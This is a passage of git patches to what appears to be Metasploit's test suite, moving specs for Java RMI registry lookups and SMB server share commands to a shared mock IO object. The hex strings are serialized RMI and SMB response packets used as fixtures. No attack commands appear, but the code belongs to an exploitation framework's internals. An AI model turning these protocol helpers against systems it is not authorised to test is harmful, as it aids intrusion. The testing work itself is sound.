"\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" + + "\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" + + "\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + + "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" + + "\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" + + "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" + + "\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" + + "\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" + + "\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" + + "\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" + + "\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" + + "\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" + + "\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" + + "\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" + + "\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" + + "\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" + + "\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" + + "\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" + + "\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" + + "\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" + + "\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" + + "\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" + + "\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" + + "\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" + + "\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" + + "\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" + + "\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" + + "\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" + + "\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" + + "\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" + + "\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" + + "\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" + + "\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" + + "\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" + + "\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" + + "\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" + + "\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" + + "\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" + + "\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" + + "\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" + + "\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" + + "\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" + + "\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" + + "\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" + + "\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" + + "\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" + + "\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" + + "\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" + + "\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" + + "\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" + + "\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" + + "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + + "\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" + + "\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" + + "\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" + + "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" + + "\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" + + "\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" + + "\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" + + "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" + + "\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" + + "\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" + + "\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" + + "\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" + + "\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + + "\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" + + "\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" + + "\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" + + "\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" + + "\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + + "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + + "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + + "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" + } it "raises an Rex::Proto::Rmi::Exception" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + - "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + - "\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" + - "\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" + - "\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" + - "\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + - "\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" + - "\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" + - "\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77" + - "\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65" + - "\x73\x73\x61\x67\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61" + - "\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0a\x73\x74\x61" + - "\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61" + - "\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65" + - "\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72" + - "\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74" + - "\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73" + - "\x74\x3b\x70\x78\x70\x71\x00\x7e\x00\x07\x74\x00\x2f\x4e\x6f\x74" + - "\x20\x62\x6f\x75\x6e\x64\x3a\x20\x22\x74\x65\x73\x74\x22\x20\x28" + - "\x6f\x6e\x6c\x79\x20\x62\x6f\x75\x6e\x64\x20\x6e\x61\x6d\x65\x20" + - "\x69\x73\x20\x22\x6a\x6d\x78\x72\x6d\x69\x22\x29\x75\x72\x00\x1e" + - "\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63" + - "\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46" + - "\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x70\x78\x70\x00\x00\x00\x0e" + - "\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74" + - "\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61" + - "\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e" + - "\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72" + - "\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x04\x4c\x00\x08" + - "\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x4c\x00\x0a" + - "\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x04\x70" + - "\x78\x70\xff\xff\xff\xff\x74\x00\x2c\x73\x75\x6e\x2e\x6d\x61\x6e" + - "\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6a\x6d\x78\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x53\x69\x6e\x67\x6c\x65\x45\x6e\x74\x72\x79\x52\x65\x67" + - "\x69\x73\x74\x72\x79\x70\x74\x00\x06\x6c\x6f\x6f\x6b\x75\x70\x73" + - "\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73\x75\x6e\x2e" + - "\x72\x6d\x69\x2e\x72\x65\x67\x69\x73\x74\x72\x79\x2e\x52\x65\x67" + - "\x69\x73\x74\x72\x79\x49\x6d\x70\x6c\x5f\x53\x6b\x65\x6c\x70\x74" + - "\x00\x08\x64\x69\x73\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b" + - "\xff\xff\xff\xff\x74\x00\x1f\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x55\x6e\x69\x63\x61\x73\x74\x53\x65\x72" + - "\x76\x65\x72\x52\x65\x66\x70\x74\x00\x0b\x6f\x6c\x64\x44\x69\x73" + - "\x70\x61\x74\x63\x68\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x71" + - "\x00\x7e\x00\x13\x70\x71\x00\x7e\x00\x11\x73\x71\x00\x7e\x00\x0b" + - "\xff\xff\xff\xff\x74\x00\x1d\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74" + - "\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70\x6f" + - "\x72\x74\x24\x31\x70\x74\x00\x03\x72\x75\x6e\x73\x71\x00\x7e\x00" + - "\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x17\x70\x71\x00\x7e\x00\x18" + - "\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xfe\x74\x00\x1e\x6a\x61\x76" + - "\x61\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x2e\x41\x63\x63\x65\x73" + - "\x73\x43\x6f\x6e\x74\x72\x6f\x6c\x6c\x65\x72\x70\x74\x00\x0c\x64" + - "\x6f\x50\x72\x69\x76\x69\x6c\x65\x67\x65\x64\x73\x71\x00\x7e\x00" + - "\x0b\xff\xff\xff\xff\x74\x00\x1b\x73\x75\x6e\x2e\x72\x6d\x69\x2e" + - "\x74\x72\x61\x6e\x73\x70\x6f\x72\x74\x2e\x54\x72\x61\x6e\x73\x70" + - "\x6f\x72\x74\x70\x74\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x43\x61" + - "\x6c\x6c\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x22\x73" + - "\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72\x74" + - "\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f\x72" + - "\x74\x70\x74\x00\x0e\x68\x61\x6e\x64\x6c\x65\x4d\x65\x73\x73\x61" + - "\x67\x65\x73\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x34" + - "\x73\x75\x6e\x2e\x72\x6d\x69\x2e\x74\x72\x61\x6e\x73\x70\x6f\x72" + - "\x74\x2e\x74\x63\x70\x2e\x54\x43\x50\x54\x72\x61\x6e\x73\x70\x6f" + - "\x72\x74\x24\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x48\x61\x6e" + - "\x64\x6c\x65\x72\x70\x74\x00\x04\x72\x75\x6e\x30\x73\x71\x00\x7e" + - "\x00\x0b\xff\xff\xff\xff\x71\x00\x7e\x00\x24\x70\x71\x00\x7e\x00" + - "\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x27\x6a\x61" + - "\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72\x65" + - "\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78\x65" + - "\x63\x75\x74\x6f\x72\x70\x74\x00\x09\x72\x75\x6e\x57\x6f\x72\x6b" + - "\x65\x72\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x2e\x6a" + - "\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x63\x6f\x6e\x63\x75\x72\x72" + - "\x65\x6e\x74\x2e\x54\x68\x72\x65\x61\x64\x50\x6f\x6f\x6c\x45\x78" + - "\x65\x63\x75\x74\x6f\x72\x24\x57\x6f\x72\x6b\x65\x72\x70\x71\x00" + - "\x7e\x00\x18\x73\x71\x00\x7e\x00\x0b\xff\xff\xff\xff\x74\x00\x10" + - "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x65\x61\x64" + - "\x70\x71\x00\x7e\x00\x18\x73\x72\x00\x26\x6a\x61\x76\x61\x2e\x75" + - "\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24" + - "\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74" + - "\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x00\x01\x4c\x00\x04\x6c\x69" + - "\x73\x74\x71\x00\x7e\x00\x06\x70\x78\x72\x00\x2c\x6a\x61\x76\x61" + - "\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" + - "\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f" + - "\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e" + - "\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f" + - "\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b" + - "\x70\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c" + - "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + - "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + - "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" + msf_io.msf_data = lookup_exception expect { mod.send_registry_lookup(sock: msf_io, name: 'test') }.to raise_error(Rex::Proto::Rmi::Exception) end end context "when there is an interface bound" do + let(:lookup_response) { + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" + + "\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" + + "\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" + + "\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" + + "\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + + "\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" + + "\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" + + "\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" + + "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + + "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + + "\x84\x49\x80\x01\x01\x78" + } + it "returns the reference information" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x53\x65\x72\x76\x65\x72\x49" + - "\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00\x00\x00\x02" + - "\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72\x6d\x69" + - "\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x53\x74" + - "\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00\x70\x78\x72" + - "\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65" + - "\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63\x74\xd3\x61" + - "\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77\x37\x00\x0a" + - "\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37\x32\x2e" + - "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + - "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + - "\x84\x49\x80\x01\x01\x78" + msf_io.msf_data = lookup_response expect(mod.send_registry_lookup(sock: msf_io, name: name)[:object]).to eq(interface_class) end end From 60de01432c9fe04aeec05f11d7774ff9faf02222 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:26:51 -0600 Subject: [PATCH 1540/2172] Use Msf::StringIO in close_spec --- .../smb/server/share/command/close_spec.rb | 19 ++++++------------- 1 file changed, 6 insertions(+), 13 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb index c4875cbda1..21ecd9a911 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb @@ -7,6 +7,8 @@ require 'msf/core/exploit/smb/server/share' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,14 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } let(:response_length) { 39 } let(:valid_response) do "\x00\x00\x00\x23\xff\x53\x4d\x42" + @@ -34,7 +28,7 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do before(:each) do mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -45,13 +39,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_close_res" do it "returns the number of bytes sent" do - expect(mod.send_close_res(client)).to eq(response_length) + expect(mod.send_close_res(msf_io)).to eq(response_length) end it "sends a valid SMB_COM_CLOSE response to the client" do - mod.send_close_res(client) - client.seek(0) - res = client.read + mod.send_close_res(msf_io) + res = msf_io.read expect(res).to eq(valid_response) end end From 7933fa53569c44f10fda363f72053efce8334e29 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:29:01 -0600 Subject: [PATCH 1541/2172] Use Msf::StringIO on negotaite_spec --- .../server/share/command/negotiate_spec.rb | 26 +++++++------------ 1 file changed, 9 insertions(+), 17 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb index 74f3397ff0..1fe65a2481 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb @@ -8,6 +8,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -16,14 +18,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } let(:default_response_length) { 73 } let(:default_response) do "\x00\x00\x00\x45\xff\x53\x4d\x42" + @@ -53,7 +47,7 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do before(:each) do mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -66,27 +60,25 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_negotitate_res" do it "returns the number of bytes sent" do - expect(mod.send_negotitate_res(client)).to eq(default_response_length) + expect(mod.send_negotitate_res(msf_io)).to eq(default_response_length) end it "sends a valid SMB_COM_NEGOTIATE response to the client" do - mod.send_negotitate_res(client) - client.seek(0) - res = client.read + mod.send_negotitate_res(msf_io) + res = msf_io.read expect(res).to eq(default_response) end end describe "#smb_cmd_negotiate" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_negotiate(client, valid_request)).to eq(valid_response_length) + expect(mod.smb_cmd_negotiate(msf_io, valid_request)).to eq(valid_response_length) end it "returns an 8 byte challenge" do - mod.smb_cmd_negotiate(client, valid_request) - client.seek(0) + mod.smb_cmd_negotiate(msf_io, valid_request) pkt = Rex::Proto::SMB::Constants::SMB_NEG_RES_NT_PKT.make_struct - pkt.from_s(client.read) + pkt.from_s(msf_io.read) expect(pkt['Payload'].v['KeyLength']).to eq(challenge_length) end From 87a189d990806808cbbd05ca4d6fe8b51666c222 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 25 Nov 2015 10:31:56 -0600 Subject: [PATCH 1542/2172] Use Msf::StringIO on nt_create_andx_spec --- .../share/command/nt_create_andx_spec.rb | 35 +++++++------------ 1 file changed, 13 insertions(+), 22 deletions(-) diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb index b56d3447f9..612257c75f 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb @@ -7,6 +7,8 @@ require 'rex/proto/smb/constants' RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do + include_context "Msf::StringIO" + subject(:mod) do mod = Msf::Exploit.new mod.extend described_class @@ -15,15 +17,6 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do mod end - let(:client_string) { '' } - let(:client) { - StringIO.new(client_string).tap do |string_io| - def string_io.put(data) - write data - end - end - } - let(:default_response_length) { 139 } let(:default_response) do "\x00\x00\x00\x87\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x88\x01\xc8" + @@ -74,8 +67,9 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do let(:smb_error_length) { 39 } before(:each) do + msf_io.string = '' mod.instance_variable_set('@state', { - client => { + msf_io => { :multiplex_id => 0x41424344, :process_id => 0x45464748, :file_id => 0xdead, @@ -91,13 +85,12 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#send_nt_create_andx_res" do it "returns the number of bytes sent" do - expect(mod.send_nt_create_andx_res(client)).to eq(default_response_length) + expect(mod.send_nt_create_andx_res(msf_io)).to eq(default_response_length) end it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do - mod.send_nt_create_andx_res(client) - client.seek(0) - res = client.read + mod.send_nt_create_andx_res(msf_io) + res = msf_io.read expect(res).to eq(default_response) end end @@ -105,26 +98,24 @@ RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do describe "#smb_cmd_nt_create_andx" do context "when valid request" do it "returns the number of bytes answered" do - expect(mod.smb_cmd_nt_create_andx(client, valid_request)).to eq(default_response_length) + expect(mod.smb_cmd_nt_create_andx(msf_io, valid_request)).to eq(default_response_length) end it "sends a valid SMB_COM_NT_CREATE_ANDX response to the client" do - mod.smb_cmd_nt_create_andx(client, valid_request) - client.seek(0) - 